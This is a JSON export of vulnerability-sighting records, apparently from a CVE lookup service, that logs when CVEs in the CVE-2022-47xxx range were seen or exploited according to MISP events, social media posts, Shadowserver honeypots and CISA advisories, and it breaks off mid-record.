{"vulnerability": "2022-47", "sightings": [{"uuid": "748f9535-bbb5-4295-8cbc-7f43a11f4a5c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47986", "type": "seen", "source": "MISP/13a70254-ac87-4bff-91b0-e5ea6fbd2c1a", "content": "", "creation_timestamp": "2023-03-29T07:29:51.000000Z"}, {"uuid": "38056b00-73ad-4af6-b993-6bdc4fc130cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2023-06-14T21:10:04.000000Z"}, {"uuid": "c3ca5036-2590-4492-88e5-0fc630549a50", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47986", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2023-06-14T21:10:04.000000Z"}, {"uuid": "5c55a3ad-3ecc-46c0-8d28-2a5265c22f6a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "seen", "source": "MISP/7d777146-36eb-49c8-bdb9-d5c2e4b1c88a", "content": "", "creation_timestamp": "2023-08-31T12:07:28.000000Z"}, {"uuid": "3d175cbf-a435-40cb-9e5c-736abc10f68b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "seen", "source": "MISP/47d2918b-967f-48aa-8680-8e990fa258b3", "content": "", "creation_timestamp": "2023-09-08T02:39:32.000000Z"}, {"uuid": "1b5a047d-1761-496d-a18f-a46b22158518", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "seen", "source": "MISP/ed88c34e-0808-42f4-916f-ceb10d835abe", "content": "", "creation_timestamp": "2023-09-15T12:08:13.000000Z"}, {"uuid": "9ca30dd6-8213-4c5c-b19d-61b65125dd51", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47986", "type": "seen", "source": "MISP/015e1219-e2a0-4cb5-a7ac-9e805f4bf71e", "content": "", "creation_timestamp": "2023-05-26T12:42:46.000000Z"}, {"uuid": "641d79bf-28dd-4022-b5c2-fc390803263b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "seen", "source": "MISP/e28f2bad-1a27-4139-8882-e8dde8f4a9cb", "content": "", "creation_timestamp": "2023-04-20T12:13:10.000000Z"}, {"uuid": "1feba77e-d3b3-4621-8b9f-15ae8bf14735", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47986", "type": "seen", "source": "MISP/e28f2bad-1a27-4139-8882-e8dde8f4a9cb", "content": "", "creation_timestamp": "2023-04-20T12:19:46.000000Z"}, {"uuid": "4ef3ee07-d30e-4af4-96d1-f1e009bdc345", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47986", "type": "seen", "source": "MISP/fc4fe8c4-7a77-4e3c-a485-80a6be673897", "content": "", "creation_timestamp": "2023-03-10T14:37:03.000000Z"}, {"uuid": "c793c616-e0d8-4f95-b6eb-adcaeea7850b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "seen", "source": "MISP/6b214eb9-2fee-451a-8479-56ba1b875db7", "content": "", "creation_timestamp": "2023-02-27T10:08:52.000000Z"}, {"uuid": "c88d3cc9-b2d8-4915-9a60-e9d27e8f24dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47168", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113646164775749151", "content": "", "creation_timestamp": "2024-12-13T15:14:16.810757Z"}, {"uuid": "2e710b64-5abe-4779-adcf-02a8864e2c3e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47176", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113646164791415079", "content": "", "creation_timestamp": "2024-12-13T15:14:17.565975Z"}, {"uuid": "ee9f1c2d-6915-426d-a372-e265098ca25e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47182", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113646223789590363", "content": "", "creation_timestamp": "2024-12-13T15:29:17.107262Z"}, {"uuid": "573deab3-6797-4bfe-bfb9-6c869d767d9b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47429", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113646223805123050", "content": "", "creation_timestamp": "2024-12-13T15:29:17.340105Z"}, {"uuid": "a6e893e7-2a86-4feb-86c1-27dba080a8b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47594", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113646223847475378", "content": "", "creation_timestamp": "2024-12-13T15:29:17.795551Z"}, {"uuid": "46818967-5904-4be0-a0ac-2d6ea1700910", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "seen", "source": "https://feedsin.space/feed/CISAKevBot/items/2971756", "content": "", "creation_timestamp": "2024-12-24T20:33:41.400331Z"}, {"uuid": "a1da5f9a-714f-4f4a-9535-0cac56f590ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47986", "type": "seen", "source": "https://feedsin.space/feed/CISAKevBot/items/2971770", "content": "", "creation_timestamp": "2024-12-24T20:33:51.415900Z"}, {"uuid": "bad40b96-e70b-4e87-b948-8dd28defd59a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4792", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfi245sbkj2g", "content": "", "creation_timestamp": "2025-01-11T15:39:31.211129Z"}, {"uuid": "28278f64-a2ed-4ec6-807a-50b84def1d15", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47713", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfi246bbzj2g", "content": "", "creation_timestamp": "2025-01-11T15:39:33.404712Z"}, {"uuid": "7f8dfffb-8de3-4c61-ac48-c1e4227c6d8c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47601", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lerhw6vyho22", "content": "", "creation_timestamp": "2025-01-02T16:15:28.659758Z"}, {"uuid": "0acf2708-98c3-48ab-86a8-ba51fcda9aa9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47601", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lerjxkzmot25", "content": "", "creation_timestamp": "2025-01-02T16:52:00.713017Z"}, {"uuid": "bf3581ed-c8d0-4df9-a978-fba6d0ebc3c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47945", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-02-02)", "content": "", "creation_timestamp": "2025-02-02T00:00:00.000000Z"}, {"uuid": "9f148307-6323-4a61-bc22-a7973f681baa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47986", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-01-31)", "content": "", "creation_timestamp": "2025-01-31T00:00:00.000000Z"}, {"uuid": "931d53ca-259b-4d4d-a2b7-188169682d70", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47090", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113883644294506094", "content": "", "creation_timestamp": "2025-01-24T13:48:26.463592Z"}, {"uuid": "d7ed6103-433a-456c-ba81-04128fb45787", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-06T03:13:45.000000Z"}, {"uuid": "d3c1dd79-d377-4858-b2b0-bc2b3e35adac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2024-12-22)", "content": "", "creation_timestamp": "2024-12-22T00:00:00.000000Z"}, {"uuid": "932f2830-aa7b-4647-ae91-2c97853dcd13", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-01-26)", "content": "", "creation_timestamp": "2025-01-26T00:00:00.000000Z"}, {"uuid": "258a69d9-4403-4d07-bc71-d726638bec01", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47986", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-01-26)", "content": "", "creation_timestamp": "2025-01-26T00:00:00.000000Z"}, {"uuid": "3f94e4dc-d615-428d-b50f-aed470645ed9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-23T04:10:49.000000Z"}, {"uuid": "eb4d15c6-eca7-4e08-a0d2-3e86b12457bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47945", "type": "seen", "source": "https://bsky.app/profile/greynoise.infosec.exchange.ap.brid.gy/post/3lhwn6qjptcn2", "content": "", "creation_timestamp": "2025-02-11T21:50:12.812182Z"}, {"uuid": "7406c253-cc1c-49d6-b41a-b9e1dddb6fed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47945", "type": "seen", "source": "https://bsky.app/profile/greynoise.bsky.social/post/3lhwo5djd6k2m", "content": "", "creation_timestamp": "2025-02-11T22:05:45.247656Z"}, {"uuid": "cd1c8a6c-d990-4c13-b897-6ba0c1a73257", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47986", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-02-22)", "content": "", "creation_timestamp": "2025-02-22T00:00:00.000000Z"}, {"uuid": "090e985e-29b6-46c6-9d60-67c08f9bd57a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47945", "type": "seen", "source": "https://bsky.app/profile/hackingne.ws/post/3lhzczcfwyy2n", "content": "", "creation_timestamp": "2025-02-12T23:24:35.049371Z"}, {"uuid": "d41168ed-d0bd-487b-81d2-b2efc0a5be28", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47945", "type": "seen", "source": "https://bsky.app/profile/dinosn.bsky.social/post/3lhzrlee3yk2o", "content": "", "creation_timestamp": "2025-02-13T03:45:17.003373Z"}, {"uuid": "606a54e0-7ffe-4a13-b6db-8aa4c4c4e876", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47945", "type": "seen", "source": "https://infosec.exchange/users/jbhall56/statuses/113996851420528053", "content": "", "creation_timestamp": "2025-02-13T13:38:29.984587Z"}, {"uuid": "933a2699-0412-4ecb-89ea-6c8dd8095aff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47945", "type": "seen", "source": "https://bsky.app/profile/jbhall56.bsky.social/post/3li2sqj5po22z", "content": "", "creation_timestamp": "2025-02-13T13:38:40.885210Z"}, {"uuid": "7a2521a3-ca53-4963-8550-5a7536155921", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47945", "type": "seen", "source": "https://bsky.app/profile/securityrss.bsky.social/post/3li2zkay4kq2m", "content": "", "creation_timestamp": "2025-02-13T15:40:26.456410Z"}, {"uuid": "f708cd07-07d3-4016-9769-f0064f646d1b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47945", "type": "seen", "source": "https://bsky.app/profile/kitafox.bsky.social/post/3li3jripkmd2v", "content": "", "creation_timestamp": "2025-02-13T20:30:49.184072Z"}, {"uuid": "4752b1c5-4079-48a4-8041-53b8623b4a84", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47069", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-044-09", "content": "", "creation_timestamp": "2025-02-13T11:00:00.000000Z"}, {"uuid": "9ecc444b-f62f-45ed-8c25-32df4d003698", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47929", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-044-09", "content": "", "creation_timestamp": "2025-02-13T11:00:00.000000Z"}, {"uuid": "0073ebf3-0b9a-4763-acd2-db669fe5f319", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2025-02-23T02:10:40.000000Z"}, {"uuid": "b09417c9-3e69-48b1-930f-13ce447dcfa8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47986", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2025-02-23T02:10:40.000000Z"}, {"uuid": "93c2561e-787f-4c4a-8073-644ee0e7582b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47052", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3llcon5shyb2a", "content": "", "creation_timestamp": "2025-03-26T21:02:09.269965Z"}, {"uuid": "b7e263f7-53fe-4523-acb6-767082ba563d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47522", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3llcon5uxj42c", "content": "", "creation_timestamp": "2025-03-26T21:02:09.839835Z"}, {"uuid": "fdba3063-4b7a-4e3e-8741-07f3e4088327", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47945", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-06-21)", "content": "", "creation_timestamp": "2025-06-21T00:00:00.000000Z"}, {"uuid": "25724137-f392-4442-a01c-252478160495", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47945", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-05-18)", "content": "", "creation_timestamp": "2025-05-18T00:00:00.000000Z"}, {"uuid": "795551e7-e28c-411c-af7d-35d8f35eefd1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47945", "type": "seen", "source": "https://bsky.app/profile/bolhasec.com/post/3ln6rdlsu6y26", "content": "", "creation_timestamp": "2025-04-19T18:30:09.888176Z"}, {"uuid": "5f49028f-18a8-453a-a575-f5469f62bcec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47986", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-07-15)", "content": "", "creation_timestamp": "2025-07-15T00:00:00.000000Z"}, {"uuid": "55ae0984-1433-487c-9557-c55bf2fe3a6a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47986", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-05-01)", "content": "", "creation_timestamp": "2025-05-01T00:00:00.000000Z"}, {"uuid": "0d8cf4b1-b5bd-4db7-8151-58ebbf724ab7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47986", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-07-13)", "content": "", "creation_timestamp": "2025-07-13T00:00:00.000000Z"}, {"uuid": "0ad5335d-d79d-4ee8-8476-2818e11ceaef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47986", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-05-17)", "content": "", "creation_timestamp": "2025-05-17T00:00:00.000000Z"}, {"uuid": "f6eaaad3-ec99-4bd7-90fb-e8e530a54739", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47075", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-06-29)", "content": "", "creation_timestamp": "2025-06-29T00:00:00.000000Z"}, {"uuid": "95fa45a7-0a0e-4654-93a1-7f5cee45b9bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47947", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lp5htyy3t32h", "content": "", "creation_timestamp": "2025-05-14T16:58:07.982460Z"}, {"uuid": "69660080-4a77-494b-a44f-d6c4717e0cf9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47075", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lp5vio2usk2s", "content": "", "creation_timestamp": "2025-05-14T21:02:22.866683Z"}, {"uuid": "0ecbc736-5194-490c-893f-daa7c89b33b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47075", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-06-01)", "content": "", "creation_timestamp": "2025-06-01T00:00:00.000000Z"}, {"uuid": "ef5fcdb5-a332-401f-9e6b-aa290a41e76d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/http/manageengine_endpoint_central_saml_rce_cve_2022_47966.rb", "content": "", "creation_timestamp": "2023-02-08T19:31:52.000000Z"}, {"uuid": "fe3e6668-9fbf-4d6c-9586-226fb00211d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47075", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-09-12)", "content": "", "creation_timestamp": "2025-09-12T00:00:00.000000Z"}, {"uuid": "96c539ac-6034-4cd5-b25b-83f3e8e7327e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47075", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-15)", "content": "", "creation_timestamp": "2025-10-15T00:00:00.000000Z"}, {"uuid": "65c4e1f1-5cc6-49aa-8b82-a6b3c1b08520", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47075", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-07-31)", "content": "", "creation_timestamp": "2025-07-31T00:00:00.000000Z"}, {"uuid": "1827ef1e-9e9e-4d1a-8c96-b8aa8ec0c4e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47075", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-08-01)", "content": "", "creation_timestamp": "2025-08-01T00:00:00.000000Z"}, {"uuid": "400c6729-e87c-4b20-9d4c-63cf52e34e84", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-08-04)", "content": "", "creation_timestamp": "2025-08-04T00:00:00.000000Z"}, {"uuid": "6c6d2535-3e14-4d05-b3ac-6b721019a61d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-11-28)", "content": "", "creation_timestamp": "2025-11-28T00:00:00.000000Z"}, {"uuid": "8141fdb1-34d4-4bcf-88b1-1939978dd78e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47986", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-11-28)", "content": "", "creation_timestamp": "2025-11-28T00:00:00.000000Z"}, {"uuid": "acffc3f0-0db3-431d-b8cf-4229fd5e58bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47075", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-08-15)", "content": "", "creation_timestamp": "2025-08-15T00:00:00.000000Z"}, {"uuid": "d019569b-eec2-417e-b015-09438ee64ab7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47075", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-09-22)", "content": "", "creation_timestamp": "2025-09-22T00:00:00.000000Z"}, {"uuid": "c51478d1-1d52-4ab2-97cc-85e98806ddd4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47075", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-14)", "content": "", "creation_timestamp": "2025-10-14T00:00:00.000000Z"}, {"uuid": "390fbf5c-45a7-4034-b037-7b9763b4e1e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47075", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-09-22)", "content": "", "creation_timestamp": "2025-09-22T00:00:00.000000Z"}, {"uuid": "1103572e-0581-488c-a71b-54ac40a6c109", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-11-09)", "content": "", "creation_timestamp": "2025-11-09T00:00:00.000000Z"}, {"uuid": "15fb8b21-35eb-4a78-b505-8e0b76d31385", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-11-27)", "content": "", "creation_timestamp": "2025-11-27T00:00:00.000000Z"}, {"uuid": "78edaa82-768a-427e-9fb7-b48f6044b211", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47986", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-11-09)", "content": "", "creation_timestamp": "2025-11-09T00:00:00.000000Z"}, {"uuid": "4101e819-134f-4169-ae3e-a5f99b318925", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47986", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-09-15)", "content": "", "creation_timestamp": "2025-09-15T00:00:00.000000Z"}, {"uuid": "e922790e-2676-4f2c-84b5-4b1b37673212", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47075", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-09-15)", "content": "", "creation_timestamp": "2025-09-15T00:00:00.000000Z"}, {"uuid": "319f623c-61d9-4e81-ae6a-9b7d462a54e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47986", "type": "seen", "source": "MISP/d17bd6ef-d68b-317b-ac33-cdbc44c5fc57", "content": "", "creation_timestamp": "2025-08-31T03:13:02.000000Z"}, {"uuid": 